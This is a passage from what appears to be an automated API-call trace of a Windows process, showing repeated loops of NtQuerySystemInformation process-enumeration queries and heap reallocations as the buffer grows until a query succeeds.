Size=0x142d0) returned 0x2560048 [0205.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.984] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0205.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0205.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.985] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.125] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.126] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.126] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.126] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.126] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.126] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.126] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.127] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.127] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.127] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.128] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.128] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.128] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.128] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.129] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.129] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.129] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.130] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.130] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.130] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.131] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.131] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.131] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.265] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.265] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.266] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.266] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.266] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.266] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.266] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.266] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.266] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.266] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.266] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.266] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.268] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.268] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.268] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.269] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.269] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.269] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.270] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.270] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.270] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.271] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.271] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.271] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.272] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0206.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.272] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.409] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.409] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.409] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.409] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.409] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.409] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.410] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.410] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.410] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.410] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.410] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.410] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.410] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.410] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.411] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.411] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.411] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.411] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.411] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.411] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.412] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.412] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.412] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.412] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.412] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.412] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.413] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.413] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.413] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.413] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.413] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.413] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.413] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.414] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.414] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.414] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.415] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.415] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.416] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0206.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.416] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0206.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.416] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.532] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.532] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.532] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.532] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.533] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.533] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.533] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.533] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.533] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.534] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.534] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.534] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.535] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.535] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.535] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.535] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) 